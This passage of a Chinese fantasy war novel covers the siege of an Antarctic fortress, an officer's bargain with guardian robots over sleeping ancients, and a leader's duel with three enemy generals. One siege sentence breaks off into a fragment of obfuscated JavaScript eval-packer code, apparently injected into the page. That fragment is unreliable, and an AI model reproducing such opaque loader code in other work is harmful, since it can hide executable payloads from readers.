二人激战了三十几秒，刽子手招招吃亏，它还感觉野芹似乎摸清自己的灵能核心位置，就用背硬抗一剑，趁机逃离，路上抓了一个队员绑上十字刀，刽子手却发现队员不能提供复活能力，正要并掌刺穿队员，野芹一个箭步，跳上十字刀将队员救下，刽子手却利用这个空隙，极速逃窜，野芹紧追。 侍灵军团得不到大将支援和指挥，已被队员们杀的只剩一半，铁娘子也逃过来，二将乱挥一阵武器，队员退散，敌军逃回隧道，据队员统计，这一战消灭了4000多名侍灵。 龙葵觉得敌军是不敢再出隧道了，就下令派黑巴集群和紫洋集群赶紧攻山，因为山上的各集群已经崩溃，大量队员滚落山下。 人类大营总指挥所方向，突然掀起隆隆炮响，原来是龙葵取胜心切，命令白猫火炮部队开火，这个命令前后矛盾了，黑巴率先锋集群刚冲到距离家园堡只剩900米的位置时，就遭已方火炮轰击，虽然是普通炮弹，没有伤害，但炸乱了黑巴集群冲锋队形，家园堡的弹幕型侍灵方阵利用这点时间，调整成机炮模式，光束子弹如瀑布倾泻而下，黑巴不得以下令前队变后队，迅速撤退。 紫洋抓住侍灵远程方阵专注打击黑巴集群的机会，带两个集群冲到了家园堡正门下方，这个瞬间太关键了，全部队员看在眼里，士气大受鼓舞，各自重编队伍，再次围攻家山。 前文提到紫洋集群的队员体能素质极好，她们一百多人并成一列，如同一把尖刀，三千多人汇成一浪，浪裹刀锋，宛如扑向城堡的海水，交替冲击城下的侍灵防线，近万个通体银色的人形怪物挥舞双刀迎战，双方冲的犬牙交错，队员的数量更多，逐步占据优势。 家园堡是多层蛋糕形状的圆形城市，二层的环形平台站有一万名弹幕型迫击枪侍灵，灵能子弹密度如流星雨般，绚丽落下，最前排的队员突破侍灵防线就纷纷跳往二层平台交战。 僵持与恶战 混战当中，天荷跟随队员从侍灵部队的突破口冲到正门，按理说身为参谋官的她不需要亲临前线，但是她跳到二层平台底部，用长枪卡住平台底部缝隙，将自己固定住，这是整个战场的唯一盲区，侍灵指挥官为了让二层平台的面积能站更多弹幕型侍灵，在正门上方擅自搭建出来一块像屋檐的扇形平台。一些队员抬头望着像猴子一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而山上的形势已经极度恶化，后备超大集群的队员们看精锐不冲，士气又低了，还被敌军远程火力不断消耗，黑巴知道再等就演化成大溃败，于是率本部再次冲击正门防线，侍灵部队躲在铁娘子和刽子手身后，黑巴集群刚一靠近城堡正门就立刻转弯，侍灵部队急追，双方在半山腰展开激战。这里有近八万名队员，很快形成包围圈，尽管侍灵大将以一敌千，但被动局面让它俩瞬间明白中了黑巴的计谋，于是引侍灵部队往正门急赶，这阵撤离太过仓促，又有一万多个侍灵被队员消灭，而黑巴集群也在这场战斗中耗完了全部实力，黑巴只能带参谋官和各级队长一同聚拢家山南坡的剩余的六万队员。 山下隧道是第一工业局本部所在，紫洋十分熟悉这里，她让队员打开隧道墙壁的多个暗门，从员工通道前往装备工业基地，要在隧道尽头汇合，侍灵守军不了解隧道内壁中的复杂交通网和密室大厅，就全用巨石堵死了。 紫洋集群刚分出队伍不久，隧道深处就传来细微动静，龙葵的副官金钟向内打了三发照明弹，银光遍地，狭窄的隧道环境使侍灵数量显得极多，铁娘子立刑具开始炮击，刽子手扔来十字刀被野芹挡住，龙葵和紫洋一对眼神，两个集群就立即撤退。 正在员工通道里砍巨石的小队长似乎听到墙外动静，赶忙做嘘的手势，让全员安静下来。 敌军近战部队撤回山顶，黑巴再组织队伍攻城，只是这次的进展远没之前的两波攻势有效，队员们轮换登上城堡二层，消耗弹幕型侍灵方阵。 家园堡东部和北部，阳荷集群和千鸟集群早已登上城堡。然而，生长金属制成的城墙极为坚固，只有火炮射击口能被黑剑砍碎，队员刚钻入就被炮弹顶飞出来，二位将军见侧面攻不下来城堡，各引一个集群支援正门战场，厚重的城门已被队员们重复百万次的剑击砍破多层，上方的弹幕型侍灵也仅剩6000多个了。 不出意外，侍灵大将再次引近战侍灵部队冲出正门。 黑巴，千鸟，阳荷三位将军和八万队员对正门前的二万侍灵进行围攻，队员们的这次攻势已不可阻挡，逼出了最后一名侍灵大将，它还是守军的总指挥官，南极人也都知道它的代号叫战争执刑，据说代号的意思是，它是侍灵大军中负责执行战争任务的前锋官。它身穿黑头巾和黑袍，特征是没有手臂，超长的大腿侧面悬浮着一对古代车轮形状的环刀。它悬空站着，仿佛是那对车轮的车轴，使它站立的身高超过四米，车轮所过之处，队员就像被巨型坦克碾压过一样，无不败退，却有一人，以自身硬顶住怪物的车轮武器。 阳荷后背的斗篷被高速旋转的车轮刮的火星四溅，而她却不慌不忙扶起倒地的队员，还微笑问队员有没有事，队员摇头后慌忙跑开，阳荷转身用黑剑抵住车轮，将军的这种从容举止对全员的斗志有极强的振奋作用。 立于车轮之间的战争执刑底下它原本高仰的头，俯视阳荷。 “人类指挥官啊，你叫什么名字。” “阳荷。你不用介绍自己了，放弃吧，战争执行官！” “哼！” 战争执刑以灵能念力操纵另一支车轮向阳荷背后袭来，这种车轮武器的厉害之处是正圆形刀刃，单手用黑剑很难阻挡，阳荷后背还已无队服遮挡，摩罗副官刚赶到，见此情形大惊。 阳荷放开一只手，身体以剑为壁，滑向抵住的车轮侧面，巧妙躲开身后飞来的车轮并用空出的手抓住了那个车轮的轮毂，这就阳荷常年累月练就的完美防御剑术，不仅如此，战争执刑的身体恰好进入到阳荷剑术的近身攻击范围，其实阳荷并不擅长突进和冲刺，得等敌人自己冲过来。现在，阳荷把黑剑巧妙换手，而战争执行注意到这个细节，就控制两个车轮到身前急防，恰好夹住了阳荷的直刺，阳荷在上，战争执刑在下，倒在雪里拼命踢踹阳荷，二人就这样僵持，近战侍灵来砍阳荷，被摩罗杀死。 千鸟将军对战铁娘子，两人都擅长中近距离作战，所以时而近身搏斗，时而拉开距离对峙，黑巴已经熟悉刽子手的武技，凭借真我剑术的一命剑，压制了对手，再看整个战场，侍灵总数已不超万人，队员们信心百倍，偌大的家园堡周围，无死角，全是黑衣队员在攻城。 智勇双全 关于家山，自古有个传说，这里出没过一种长蝴蝶翅膀的仙子，会帮助有困难的人类。 攻破正门的队员，一时眼花缭乱，迎面被不计其数的蝴蝶撞飞，海量的有翼机器人从各个出口飞出家园堡，在夜空中高速穿梭，汇集成一团庞大的军势，对雪地中的队员们展开射击。机器人的装甲是白底粉边的连衣裙式样，四只金属翅膀平直，装甲衣袖内可发出的射线威力十分接近侍灵迫击枪的光弹，这群机器人约有10万个，是南极古代引以为傲的早已失传的超高智能机器人，名为蝴蝶天使。 战局瞬息反转，队员们的0元素存量原本就不多了，靠胜利在望才撑到现在，高空中的敌人是对陆地作战的队员进行降维打击，队员无法还击，各自抱头乱跑，就像蜂群攻击蚁群，全员溃散，只有各级队长还在跟剩余侍灵部队奋战，场面混乱而绝望。 但是，历史告诉人们不应小看每个人的作用，有的人尽管出身低微，毫无声望，甚至不被理解，但她就有超越时代的智谋，却得不到施展才华的机会。现在，她打算孤身入敌营，以自己仅有的肉身，去创造向所有人证明自己能力的机会。 天荷拨出长枪，利落的翻入正门，脚刚触地就放低身姿，几步窜到掩体后方，她定睛观察，家园堡内部每层都是封顶的，看不到二层，第一层的墙边是许多扇形舱室。 因为战况过于激烈，侍灵全在外面，城内空无一人，各条街道汇合的正中心广场有一根粗大圆柱。天荷早前阅读过家园堡的内部设计图，知道这根柱子是超核反应堆兼有通往地下基地的通道，图上却不表明地下基地的用途和结构。 还有一点奇怪，山下的隧道尽头只有碎石和生长金属建造的铁壁，但是，天荷假设那些铁壁可以升起，后面就是直通家园堡地下基地的通道， 地下基地里有什么？ 所有资料都含糊其辞。 天荷只能在第一工业局各处的文件和雪地中偶然发现的存盘中查找，这些文章都是普通人的日记或者工作日志，其中隐晦的提到了蝴蝶天使救人的传说和古代高智能离线机器人的目击报告，她就把自己的身家性命，赌在这些传闻上。 家园堡内，天荷向城中心广场疾跑一段路，见圆柱门缝动了，就滑铲过去，侧撞在门边。 圆柱门开，大量低温气体随飞出的数百只蝴蝶天使一起扩散，天荷在柱门开始关闭和最后一只蝴蝶飞出的瞬间，滑向门内，并用长枪撑了一下门，再变没长枪，整个过程顺畅的连机器人都未能察觉。 天荷紧绷的神经不允许一点疏漏，包括她每天观望家园堡的阵地布置，注意到正门上方多出了一米房檐，总之，一切真的都在她的计划之中。 她的身体顺电梯通道垂直下落，黑色单肩斗篷剧烈飘动，黑袍和长靴的动作无比英飒，三个上升的蝴蝶天使恰巧与她擦身而过，马上明白有人入侵，就急忙向下追击，并通知底部的同伴。 天荷落出电梯通道口的一瞬，满眼煞白，她环看周围空间，是一个巨大圆桶形基地，桶壁是无数菱形方格组成的蜂窝状结构，格子内似有人体棺材，这是古代人休眠的睡眠舱。 基地的地面上有一百个蝴蝶天使和一个纯银的人形天使，它们一同起飞，在空中抓住天荷，超高能激光子弹不断射向天荷，她挥长枪戳死左侧的三个蝴蝶天使，并且猛蹬身前的敌人，还同时释放足底能量场，使自己撞向桶壁。 天荷右侧的蝴蝶天使放开了她，绕飞到她背后，成了天荷和墙壁间的缓冲物，敌人的这个举动让天荷再次确认了计划的可行性，她滑落在墙角，向身侧挥拳，砸裂了一个睡眠舱的顶盖。 “都别动！” 天荷说着，再把长枪插入墙壁，缓缓划动，示意自己随时能破坏睡眠舱，敌人们立刻停在她身边，围着天荷，组成一张球形大网，网中飞来那个通体银色的人形，女性身形，背有残翼。 “我是原型机，代号天使，擅闯家园号蜂巢式人类生命仓库基地者，必死。” “别唬人了，侍灵大军进来过吧？” 天使默然。 “我死不要紧，但我死之前，能一击摧毁数百个睡眠舱。” 天荷说完，毫无保留，调动体内外0元素，蓄力一命剑，她强大的能量场被天使感知到。 “等等！” 家园堡外，夜空中的蝴蝶天使大军突然转而射击侍灵部队，使原本溃散的人类各集群有时间重整编队，侍灵总指挥官战争执刑立刻明白友军变节，她带铁娘子和刽子手向山下逃窜，剩余的3000个侍灵紧随其后，路上，侍灵三大将看见大营内的败退队员正在休整，人数有超十五万之多，说明人类阵营没能力包围消灭它们了，巧遇赶来支援的铃兰集群，这批队员都是三星，剑术极好，全力围攻侍灵残兵，仅剩三位侍灵大将逃脱。 战争执刑遥望黑白天地之间，队员漫山遍野，四面八方赶来还有无数黑影赶来，知道南极内陆只剩雪牢关这一条出路了。 32. 章32南极：美好的家 你是否因为自己处于劣势而感到深深焦虑，你是否因自己没有什么就总是羞耻。 其实别人的那些优势原本，甚至永远跟你没有关系，却让你迷失自己，缺乏兴趣和力量，真我的意义正在于此，让你在乎自己的欲求，不再内耗，快速变强。 反之，人如果认为是凭自己能力拥有优势，沾沾自喜，便随时会被优势出卖，这种假象，就是虚荣。 夜星少女们，觉悟真我，不被灵能会的暴力吓倒，敢于亮出黑剑，就有了现在，让曾经不可一世的敌人懂得，尊荣皆虚假。 黑暗如同厚重的天鹅绒，无声地覆盖着整个世界。 雪原，这片被无尽夜色拥抱的广阔之地。雪花在永夜的掩护下，更加肆无忌惮地飘落，轻盈而密集，像是无数细小的银色精灵，在空中翩翩起舞，最终轻柔地降落在雪地上，为这片广袤无垠的白色世界增添了一抹更加纯净的色彩。 每一粒雪花都闪烁着微弱的寒光，在黑暗中形成了一片片细腻而璀璨的银色波纹，宛如银河倾泻，壮丽非凡。 雪原之上，地形起伏，连绵不绝的山脉在夜色中若隐若现，它们如同沉睡的巨兽，静静地守护着这片被遗忘的土地，三个自主者级的高阶侍灵大将，一路向北奔逃，它们在家园堡战役中消耗了大量的灵能力，已经无暇欣赏南极雪景。 战争执刑脚控车轮武器，比它的两个妹妹移速更快，望见业凰环丘无人，再看雪牢关铁门附近仅有百余名队员，回头想喊快点，却见铃兰和野芹已率队伍追来。 “关下只有百人，你俩再快些，我们尽量保住这条命，就能守住北海岸！” 它说完，退回铁娘子和刽子手身边，三人共同施展灵能念力，并肩急行，登上业凰环丘后，就见平原的远方躲藏着数量不明的队员，雪牢关两侧的家山和赛博空港山坡上，站起数千队员，就连关顶的门梁上也有。 预感到大事不妙的战争执刑在巨型铁门下方看到一人，黑色的大檐帽和大衣，双手撑剑，立于关前，黑色长发和大衣随风飘摆，威风凛凛，当它与那人四目相对时，感受到难以言喻的极烈锐气，甚至让它畏惧到中断了灵能力。 铁娘子背着棺材刑具，猛跑的过程中见姐姐因为停住车轮而落在身后，就扭头问：“怎么了？” 战争执刑看看身前的两位妹妹，再听身后雪地激烈震动，知道自己很难逃脱了。 “你俩还有多少灵能力？” “不足四成了，人类的黑剑伤害极高。” “嗯，我还有六成，我们一起会一会人类的领袖吧。” “在哪？” “不要轻敌，使出全力。” 红莲看三位侍灵大将缓缓走近，三万名队员形成了密集包围圈，就抬一只手示意，让队员们停下。自从歌剧院的三大将和贝家主展现出自我意识以来，红莲认为适当的心理战可以让侍灵大将以后畏首畏尾，还能提高队员们的自信和剑术水平，所以她要单独应战。 天地，上黑下白，万人瞩目的决斗场内，红莲背靠雄关，雪花在她身前票绕，三个强大的敌人谨慎的挪步靠近她，大风忽的猛卷雪浪，将长发吹拂到她脸上，铁娘子戴羊头钢盔，长靴拨开黑袍，半蹲的同时双手一摆长方刑具，射出密集光弹，刽子手身高腿长，全黑紧身衣隐秘无声，一步跃起，脚踩铁娘子的肩膀，将早已旋转蓄力多时的巨型十字刀投向红莲，战争执刑控制一对大型车轮武器从左右两个方向绕攻红莲的后背，三姐妹的攻击毫无保留，配合默契。 任何敌人遇上红莲，别有弱点，有就好好保护住弱点，因为红莲灵魂中的纯粹让她洞悉敌人的一切，冷傲天叠加女性的敏感心绪形成一种极似剑锋的敏锐，直取敌人最薄弱的要点。 这招一命剑，像一道炽热红线，人们只看到红莲激发全身心能量所遗留的黑雾残影，之后就剩一道红光，贴着十字刀下方飞过，沿途迸发球形雪浪，冲破三位侍灵大将，刽子手在红莲上方，它想用肘击阻止红莲进一步突刺向战争执行姐姐，胳膊肘刚碰到红莲的后背，就发现她既硬又快，把刽子手掀翻到更远的空中，铁娘子被红莲踩的站不起来，战争执刑在红莲出招前就感觉到杀气，躲到两位妹妹身后，却正好被妹妹阻挡视线，红莲的剑插入它的前胸，它才看到红莲。 等刽子手收回十字刀并转身，看到战争执刑已被红莲斜劈成两半，黑剑精准划碎了灵能核心，黑色头纱渐渐飘落，两段身体落地，车轮武器倒地，同时渐渐消散。 二千年多年来，它们从未遇到此等对手，刽子手立刻明白是觉悟的差距，红莲是真的把生死全部押在剑尖，突刺的时候没留一丝后手余地，能量和战术完全在它们三人意料之外，刽子手害怕铁娘子再遭不测，急跑两步，赶在红莲转身前挥刀就砍，铁娘子也趁机站起来。 然而，三人最初全力进攻造成的破绽还是太大了，红莲背身踢中铁娘子，并且借力完成快速转身，黑剑也换到左手，铁娘子被踢的踉跄半步，转身就见黑剑迎面刺来，曾为人类的本能使它第一时间护脸后，才想起自己的要害在胸下位置，红莲的黑剑开始下移，铁娘子来不及护住核心了，它使出最后的保命手段，刑具钢柜门开，恰好给它留出继续向后躲避黑剑的空间，钢柜门关，正好挡住黑剑。 而刽子手的巨型十字刀刀向红莲头上砸来，红莲和刑具同时倾倒，她以剑挡了一下十字刀，争取到时间，在倒地前踩住刑具，正好给自己的身体留出躲开十字刀的空地，刽子手挥空了，而且还慌了，似乎战斗的细节全在红莲预判之中。 红莲站起的空隙，刽子手也从挥空后调整过来，它必须用巨型十字刀的体积优势逼迫红莲退后，才能把妹妹铁娘子从刑具中放出来。 数万队员围观的决斗场中心，爆发致死噩梦般的血红杀气，人们几乎能用肉眼看到雪中出现一个球形的红色风团，毁灭与决死的力量在球体内充盈再压缩，偶尔飘散到外界才是人们感受到的杀意，这就是红莲的绝命剑，也是她对绝境的理解，还是她对绝望的反抗！ 刽子手以为自己占据体魄和武器更大的优势，却不想自己挥出了每一剑都被红莲的剑弹开，这名黑发少女身体周围好像有个看不见的球形空间，连雪花和气流都无法侵入，更别说巨大的十字刀了，二人原地激烈舞剑，火花与暴风震慑天地，强风吹动每位观战的少女。 刽子手靠熟练的武技勉强支撑了一秒，它明白不仅救不出铁娘子，自己也危险了，不经意间，巨型十字刀被红莲的剑弹飞了，它原本可以用灵能念力操纵十字刀再回到自己手中，可是它猛然惊觉，那个球形空间中充满红莲的精神能量，切断了它和十字刀的灵能连接，原来红莲挥出了每一剑都是为了使它的十字刀脱手而做的的铺垫，它眼中最后一个画面，是黑发少女自信的微笑。 黑剑将刽子手切成碎片，红莲停用绝命剑，轻缓舒气，左手将黑剑向下重重一插，棺材缝隙升腾蓝色气雾，铁娘子随棺材刑具一起消失了，红莲走向队员们。 万人欢腾！ 黑衣少女们欢呼着，跑向红莲，这场战斗让侍灵不敢轻视南极，让队员知道自己也可以像红莲一样战胜强敌。 到场的将军级队员更看的明白，威力相同的黑剑，一样的真我剑术，只因各自灵魂天性不同，造成武技的形式略有不同而已。红莲与别人差别在于，她的觉悟太好了，没有杂念，身心统一，清楚战斗时的每一下挥剑就是生死抉择。还有她的精神总能燃烧出源源不断的斗志，说到底，这是人生境界的差距，千鸟和阳荷服了，黑巴和紫洋不服，野芹更不服，她们决定以后磨练剑术，超越她。 古人的遗产 海岸的侍灵部队还在增兵，但没有指挥官，于是退守到岸边和冰海的交界处。 千里的侦查集群和恢复能量的队员一起沿家山，雪牢关，空港山脉布置岗哨。 内陆各集群就近到各城市和据点休整，红莲赶往家园堡，传令队员通知她，有一场外交谈判正在等她。 家园堡城内，一身黑袍的藤萝轻抚翠绿长发，见红莲进城就与她握手。 “这城市的情况怎么样？” “一共四层，每层都有大量重炮台，各层有楼顶封闭，中心用能源柱电梯连通，一层和地下是工业基地，二三层是居住区，四层是科研和雷达设施。作为要塞城市，很完美了，机器天使们给了我操作城区设备的全部授权。我拆解过从赛博空港拖来的那门巨炮，打算拆除一层的重炮台，研发一种火力足以覆盖半个南极的究极巨炮，这样可以避免这座城市再被围攻，还能支援各地战事。” “嗯，靠你了，你们说的天使在哪，它有什么要求？性格怎么样?” 红莲走的很快，不时回敬路过的队员，还边走边问，藤萝就加快脚步，和她并肩而行。 “在地下基地，性格嘛？谈不上友善，倒也不算恶劣，给人感觉极像人类，天荷副官还在跟她僵持。” “还在？” 红莲没想到战役过了两个小时，天荷还得用威胁手段，才能让机械天使势力妥协，她俩乘坐悬浮平台，进入圆柱通道，降落在地下基地的纯白地面上。 二人被眼前的壮观仓库震惊到了，白色的弧形墙壁由无数蜂窝状网格组成，红莲路过十万个有金属直翅的机器人，还抬头确认网格内的物体是保存古代人身体的睡眠舱，她走到墙下，见天荷倚靠着墙，两人以微笑回应彼此，而天荷笑过就重重的跌在红莲身上，她全神贯注的跟天使僵持了四个多小时，精力耗尽了。 红莲看天荷的帽徽多了一颗黑星，同样放松身心，她知道有人可以继任总指挥官了。 “你就是人类的新领袖？” 一个全身银色的金属女子在红莲身边提问，红莲将天荷交给藤萝带出去休息，侧身打量这人，白色短发，面部轮廓漂亮，背有金属翅膀骨架。 “是，我叫红莲。” “我是蝴蝶天使的原型机，代号天使，我们的要求很简单，中立，你们不得再擅入地下基地，作为交换，我们帮助你们协防这座城市。” 红莲一边听，一边趴在格子口，张望里面的睡眠舱，舱内人体依然有皮肤，不是骷髅。 “传说中，蝴蝶天使曾救助人类，现在呢，你们不能加入我们吗？” “哼，你们不是人类。” 红莲听它说这话，就抬头瞪它，起身沿墙边闲逛。 “是因为我们服用过0元素吗？” “我不懂那是什么东西，我的意思是你们的精神世界已经不是标准的人类了。” “那你说说标准的人是什么样的。” “一半是野兽，贪婪，自私，暴力，苟且，卑鄙。一半是神性，博爱，无私，正义，勇敢，坚毅。两者混合斗争，一生痛苦而迷茫的可怜生命，就是人类。智慧让人类急于从矛盾痛苦中解脱，使两者分离，沉迷于兽性的旧人类毁灭了，追求神性的灵能会胜利了。我从你的眼神中看出，你和他们一样，红莲。” 红莲站住，凝视天使，让天使好好看清自己的眼睛。 “对，就是这个眼神，你和灵能会的会员一样，超越了人类本身，都是圣人才有的眼神，区别只在于你和他们的目的不同而已，所以我不会加入任何一方，我们机械天使只想守护这些悲哀的古代人，请你不要为难我们。” 红莲扶着额头，再揉揉眼睛，最后捏着鼻梁。 “好吧，感谢你支援过我们的战斗，我代表南极全员，同意你们保持中立。” 二人握手，蝴蝶天使们马上解除了警戒，纷纷飞到墙壁各舱处，维护睡眠舱，红莲看出这处基地的技术既先进又古老，设备的外观非常精细，重视美观和集成化，与夜星现存的设备差异极大，证明天使知晓很多古代情报，于是红莲开玩笑的说：“你不怕我们反悔吗？” “哼，圣人的话都是一言九鼎，说了就会强迫自己做到。” 她想再问问天使，灵能会的圣人是什么样，但从天使的话中感觉出它避免透露更多情报，天使毕竟是中立方，如果人类阵营战败，害怕灵能会报复。 “可以取出一个睡眠舱给我看看吗？” “那我可以逛逛南极吗？我有一千多年没出过基地了。” “好啊。” 天使点击格子上的触摸屏按钮，一台睡眠舱滑出，立起，缓慢触地，透明舱盖腰部有一段控制板，周围散发冷气，红莲观察舱内人体，皮肤尚有红润，胸前平坦，上肢强壮，面容轮廓有力，不似女性。 “这是？男性？” “对。” “他们还活着？” “对。” “有多少人？” “三十万，一半女性，一半男性。入舱人类的时间跨度从新元501年的机械时代到最终战争后期的新元1250年，2000多年了，都很难醒来了。” 此刻，红莲轻抚舱盖，感受这传承千年的冰冷温度，理解了天使和蝴蝶天使的追求，它们被古人创造，尽力完成古人写入它们思维的使命，这种绝对契约，正是机器人独有的，也是它们的可爱之处。 知贤善任 红莲离开家园堡，回到业凰科学院，命令将军级队员于四小时后参加会议，战斗队员有九小时休假时间，之后轮休，后勤队员和侦察集群已经开始忙碌，内陆雪原到处是后勤车队，队员们拆掉老款运输车的可用零件，将三个车厢堆成一组，作为一处简易物资点，并在信息板中的电子地图上标注位置，值得一说的是队员们视线和信息板中的地图是记忆定位，就是队员用体外工具校准过正北方和自身位置，体内的辅助系统会在地图上实时更新队员移动的方向和距离，这种地图机制无需外部设备导航。 以下是战略会议的防区布置。 千鸟的2个集群轮休设防雪牢关和业凰环丘，居住地在业凰科学院。 红莲的3个业凰集群驻防业凰科学院， 2个后备集群驻防两个运输局。 阳荷的2个集群驻防服务局。 御前集群驻防首都。 黑巴的2个集群设防家山北坡，居住地是家园堡。 紫洋3个集群驻防第一工业局。 天荷对家园堡战役做出巨大贡献，升任将军，兼任后补总指挥官，带三个集群驻防赛博空港，防区是整个南极东部雪原，同时兼任装备研发主管，生产0元素武器装备，还要兼任二万多名新手队员的实战总教官，首都已有市民身前成为队员，她们经过曼达训练就前往赛博空港，作为主力集群的补编队员。 以上集群称为红莲主力，是必须拼命维护南极和平的战力。龙葵集群称为辅助集群，驻防第二工业局，无需死战。 从布防图上可以看出，南极内陆的战力西重东轻，压力似乎全给了天荷，实际是因为空港山脉极为高陡，又有山顶防空重炮，北海岸的敌人很难在短时间翻越山脉，内陆的东关口被冰山群堵塞，无需设防，运输局有红莲的两个后备集群留守，可以认为这里是南极内陆的战略纵深或者后方营地。另一方面，红莲倚重天荷的才华，或者说只能勉强她了。 天烛主持的后勤会议成果是在南极全境建设三种物资点，由后勤队员和侦察集群铺设，位置都标注在地图中。 第一种是物资罐，化工塑石材料制成的罐子，长两米，直埋于雪下两米，内含升温睡袋和营养剂，以及医疗包，以后会加入各类单人医疗设备。 第二种是地下庇护所，石材搭建的地窖，深六米，面积四平米到十平米，内含各种生活物资和有线通信设备，以后会添加单人远程武器，作为五人班组的避难场所。 第三种是物资碉堡，四方的哨站，配备生活和武器物资，可容纳125的中队休整，还有地道可供撤离。 地上碉堡的实现，得益于藤萝提出的设计构想，她细心观察弹幕型侍灵炮击和射击地面留下的痕迹，发现灵能科技的极能束虽然可以轻易击穿高强度钢材，但打在土壤中就只能造成不深的凹坑，据此推测，冰冻土壤的杂乱结构分散了极高能量光束。 圆形防御墙的概念提出：上半圆在地上，用于防御。整圆内部是多层扇形合金，用圆心的纯机械结构连接，一块合金被光束射穿，重量就会改变，影响圆心的机械结构，自动推下半圆的一块新合金上来，挡住光束，多层的扇形合金就这样反复阻挡光束，无论多么强大的光束，都不可能一击就射穿防御壁，再给战斗队员们设置一个外部开关，能无序化防御壁内的扇形合金，破洞就不在一个位置了，尽量确保所有合金都挡过光束。 参会的队员们大喊精彩，藤萝说简化版的方形防御墙现在就可以造出来，用来建造物资碉堡，圆形防御墙产量不大且过分沉重，应该用在关键阵地上。 于是三天后，第一工业局开始产出圆形和方形的防御墙。 业凰科学院设计了防电子战的芯片涂层，能隔绝一切无线信号，应用在所有装备的控制模块制造中，这使南极远距离通信完全依赖地下线缆。 首都和第一运输局持续驶出新款的甲虫型装甲运输车，后勤队员在驾驶室输入目的地，车就可以自动驶往，有人驾驶和无人驾驶的车辆散布内陆，休假的战斗队员偶尔也加入后勤工作。 红莲仰望无垠的永夜，雪落依旧，再低头，雪原静默而深邃的铺展，车流灯光轻轻妆点这片银装素裹的世界，给每朵雪花都镀上了一层柔和而神秘的银边，一位女子向东走去，厚重的斗篷盖住她的左臂，右臂却露着，这是天荷自创的队服款式，单肩斗篷是一面可靠的盾牌，配合她的长枪术，黑纱包裹的长腿迈开黑袍，让红莲觉察这位美丽的学者朋友即将走远。 “我送送你吧。” “不用。” “事务繁忙，防区甚远，一时恐怕很难再见了，路上闲聊一会儿。” “红莲是担心我不能胜任东部防区么？” 红莲被她问的一惊，便转头看她，黑色大檐帽下是白色的翘边短发，一对长长的细辫子从耳侧垂下，面容清秀，圆框眼镜内的眼神清澈而冷静，红莲想起天荷的出身，是空旷的仓库，她加入紫洋麾下后还无朋友，孤独太久了，已经把自己和世界隔绝开来，红莲想到这些，眉眼间流露哀伤。 天荷困惑不解，又问：“怎么？” 红莲抿嘴微笑：“没什么，我不担心。说实话，我无法想象自己蹲在家园堡正门屋檐下，屏息再控制心跳，安静的看侍灵部队和主将从身下经过，天荷，你是理智的天才，比我们任何人都擅长战争。” “红莲不够理智么？” “我差得远呢，很多时候，我都想干脆跟侍灵拼了算了，仅靠不服输的劲头，用感性挤出一些理性，作些笼统的计划，我其实依赖着大家，不如你独立啊。” “那红莲就是感性的天才。” “啊？” “我想极致的感性，包括了理性呢。” 红莲听完，感觉彼此关系近了些，就问：“我有个问题一直想问，你为什么没选择灵能会呢？” 天荷沉默的走了十几步，想明白红莲不是在考验她，就回答：“我最讨厌当仆人了，喜欢自由，除非灵能会由我说的算！” 她们笑了，天荷继续说：“当我听说红莲上任业凰科学院会长后，没有明确的上下级关系，奉行自愿，就很仰慕你了，但我只有自己，紫洋将军不给我机会，我就得谋划出，靠我一个人扭转战局的机会。即便如此，战略会议上的众将军也不服我，你是我的伯乐，红莲。我会竭尽所能，完成你交付的所有任务。” 红莲听出，天荷报恩和她不想当仆人有些许冲突，而且红莲不需要言听计从的仆人。 “我不觉得自己帮了你什么，事实也是如此，反而是你帮我们镇守东部，任务艰巨，让我感觉很对不起你，我希望能和天荷做朋友。” “我没有朋友，不知道朋友是什么意思。” “能坦诚的说出所思所想，还能直言纠正对方错误的人吧。” “是吗？那倒是不错，我总觉得自己好像在滑入深渊，用理智却怎么都分析不出自己错在哪了，红莲知道吗？” “是因为你想坚信又不敢相信的人情。” 天荷停步，广袤雪原上的千百条车队，还有零零散散的黑衣队员们，对她而言，都是程序，她只要知道这些东西会干什么，能干什么，就够了。当她尝试把雪原上的这万千少女设想成人类，她知道别人肯定不会像她这样理性且守信，于是感到莫名的恐慌，再看身前的黑发女子，对她微笑。 “我打赌红莲也会失信于我。” “我以自己的灵魂和人格担保，不会。” “那我也直说红莲的缺点。” “好啊！” “你太爱身先士卒了，奇迹不可能一直眷顾你，不可能让你一直赢下去，你不适合当领袖和将军。” “还有你啊，我的朋友。” 天荷看红莲这毫无阴霾的笑容，懂她是在追求有意义的战死，一瞬间，天荷也面露忧伤，红莲和她一样，灵魂深处是孤独的吗？ 没有答案，她猜红莲也没有答案。 天荷喜欢这种感觉，自己仿佛有了一些美妙的人情。 儿女情长 首都城外，0元素培养罐刚被吊装下来，由护卫车队运往赛博空港。玉珊瑚来首都休假，原想逛逛街区，却接到天烛发来的临时调令，让她带附近的业凰队员组成一个集团，测试并运回新武器。 巨大城墙不断网城下吊运货架，网格架子里插着纯白色的圆筒，雪地上的后勤队员和白猫队员将货架搬上运输车，玉珊瑚注意到不远处有曼达和橡树在对练剑术，晴灯却喊她过去接收装备。 “呐，这东西叫轻型伞武装。” 晴灯说着，单手从货架里抽出一个白色圆筒，扔给玉珊瑚，她用力一接，圆筒轻的弹了两下，玉珊瑚慌忙抱住查看，圆筒长60CM，底部直径10CM，还有一个2CM直径的圆形触控显示屏，另一面是旋涡状的纯平密封口，圆筒腰部有一圈标准卡榫。玉珊瑚尝试扣在腰后的腰带上，跳了跳，感觉不影响活动。 “是够轻的，感觉还没一件睡衣重，要这空筒子干啥！” “筒里是满满的原初0元素，再加上外壳是超轻合金制的，当然轻了！对，就这样带在腰后，战斗时，视情况摘下来，不管用手掌的什么部位，触碰显示屏。” 晴灯教玉珊瑚操作，显示屏只有两个选项，机炮和伞，她捏着玉珊瑚的指头选了机炮，圆形显示屏立刻弹出，屏后是一节纯黑色的双手握把，有一个很长扳机在握把中间。 玉珊瑚双手握住握把，挥了几下圆筒，转身对着晴灯。 “哎呀要死！你别把炮口对着我！” 晴灯掰圆筒顶部对着空地，玉珊瑚把圆筒抵在腰上，扣动扳机，一串黑色子弹从圆筒顶部射出，把远处的废铁不断打碎。 “威力不错嘛！” “我的大小姐啊，赶紧松扳机！射速1100发每分钟，22000发容量，照你这样用很快就没了！” 